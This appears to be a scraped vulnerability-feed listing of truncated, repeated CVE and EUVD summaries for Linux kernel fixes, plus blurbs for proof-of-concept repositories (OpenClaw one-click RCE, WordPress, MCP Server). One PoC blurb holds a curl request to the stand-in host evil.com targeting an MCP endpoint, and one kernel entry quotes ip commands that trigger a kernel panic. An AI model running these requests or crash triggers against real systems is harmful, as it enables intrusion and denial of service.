UBUNTU-CVE-2026-98232

In the Linux kernel, the following vulnerability has been resolved: scsi: core: Validate MODE SENSE lengths in scsicdlenable scsicdlenable uses length fields returned by MODE SENSE to locate the ATA feature mode page in a 64-byte stack buffer. A target can report a total length shorter than its...

CVE-2026-98232

In the Linux kernel, the following vulnerability has been resolved: scsi: core: Validate MODE SENSE lengths in scsicdlenable scsicdlenable uses length fields returned by MODE SENSE to locate the ATA feature mode page in a 64-byte stack buffer. A target can report a total length shorter than its...

CVE-2026-25253

CVE-2026-25253 OpenClaw: تنفيذ أكواد عن بُعد بنقرة واحدة ★ CVE-2026-25253 إثبات اختراق PoC لثغرة OpenClaw لتنفيذ الأكواد عن بُعد بنقرة واحدة ★ https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e الوصف CVE-2026-25253 : ثغرة تسريب رمز مصادقة OpenClaw الوصف: يسمح OpenClaw...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ استخدام بسيط استخدم هذا المشروع فقط في بيئات آمنة ومصرح بها مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبرات المعزولة بيئات اختبار الاختراق المصرح بها مثال على الإعداد: git clone cd Project use python follow below Create a virtual environment python -m...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC concernant une vulnérabilité dans MCP Server. automatisé pour la partie POST avec le corps correct. Chemin vulnérable : /api/mcp/connect Méthode par curl : curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-98358

The Linux kernel contains a vulnerability in the IB/iser stack where the system fails to properly reject remote invalidations of unregistered directions. Specifically, iser_reg_mem_fastreg() leaves rdma_reg[ISER_DIR_OUT].desc as NULL for write commands with immediate data, while iser_dma_map_task...

CVE-2026-98358 IB/iser: reject a remote invalidation of an unregistered direction

In the Linux kernel, the following vulnerability has been resolved: IB/iser: reject a remote invalidation of an unregistered direction A write command whose data is sent entirely as immediate data is not registered. iserregmemfastreg takes the DMA key path and leaves rdmaregISERDIROUT.desc at NUL...

CVE-2026-98358 IB/iser: reject a remote invalidation of an unregistered direction

In the Linux kernel, the following vulnerability has been resolved: IB/iser: reject a remote invalidation of an unregistered direction A write command whose data is sent entirely as immediate data is not registered. iserregmemfastreg takes the DMA key path and leaves rdmaregISERDIROUT.desc at NUL...

EUVD-2026-93343

In the Linux kernel, the following vulnerability has been resolved: IB/iser: reject a remote invalidation of an unregistered direction A write command whose data is sent entirely as immediate data is not registered. iserregmemfastreg takes the DMA key path and leaves rdmaregISERDIROUT.desc at NUL...

CVE-2026-98358

In the Linux kernel, the following vulnerability has been resolved: IB/iser: reject a remote invalidation of an unregistered direction A write command whose data is sent entirely as immediate data is not registered. iserregmemfastreg takes the DMA key path and leaves rdmaregISERDIROUT.desc at NUL...

CVE-2026-98247

The Linux kernel contains a vulnerability in the Bluetooth hci_codec component. The Read Local Supported Codecs parsers incorrectly consume variable-sized standard codec arrays before parsing the vendor codec count. Because the initial reply-size check does not guarantee the vendor count byte rem...

CVE-2026-98247 Bluetooth: hci_codec: validate vendor codec count length

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicodec: validate vendor codec count length The Read Local Supported Codecs parsers consume the variable-sized standard codec array before parsing the vendor codec count. Although the initial reply-size check includes...

CVE-2026-98247

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicodec: validate vendor codec count length The Read Local Supported Codecs parsers consume the variable-sized standard codec array before parsing the vendor codec count. Although the initial reply-size check includes...

CVE-2026-98247 Bluetooth: hci_codec: validate vendor codec count length

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicodec: validate vendor codec count length The Read Local Supported Codecs parsers consume the variable-sized standard codec array before parsing the vendor codec count. Although the initial reply-size check includes...

EUVD-2026-93175

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hcicodec: validate vendor codec count length The Read Local Supported Codecs parsers consume the variable-sized standard codec array before parsing the vendor codec count. Although the initial reply-size check includes...

CVE-2026-98240 net: ip_tunnel: initialize `options_len` before referencing options

In the Linux kernel, the following vulnerability has been resolved: net: iptunnel: initialize optionslen before referencing options The following command triggers a kernel panic: ip link add d0 type dummy; ip link set d0 up ip route add 10.30.0.0/16 \ encap ip id 300 geneveopts 4660:66:11223344 d...

EUVD-2026-93168

In the Linux kernel, the following vulnerability has been resolved: net: iptunnel: initialize optionslen before referencing options The following command triggers a kernel panic: ip link add d0 type dummy; ip link set d0 up ip route add 10.30.0.0/16 \ encap ip id 300 geneveopts 4660:66:11223344 d...

CVE-2026-98240 net: ip_tunnel: initialize `options_len` before referencing options

In the Linux kernel, the following vulnerability has been resolved: net: iptunnel: initialize optionslen before referencing options The following command triggers a kernel panic: ip link add d0 type dummy; ip link set d0 up ip route add 10.30.0.0/16 \ encap ip id 300 geneveopts 4660:66:11223344 d...

CVE-2026-98240

In the Linux kernel, the following vulnerability has been resolved: net: iptunnel: initialize optionslen before referencing options The following command triggers a kernel panic: ip link add d0 type dummy; ip link set d0 up ip route add 10.30.0.0/16 \ encap ip id 300 geneveopts 4660:66:11223344 d...

CVE-2026-98240

The Linux kernel contains a vulnerability in the net: ip_tunnel component where options_len is used to calculate an option pointer before being initialized. This oversight leads to a buffer overflow during a memcpy operation, specifically when processing geneve_opts . This issue can trigger a ker...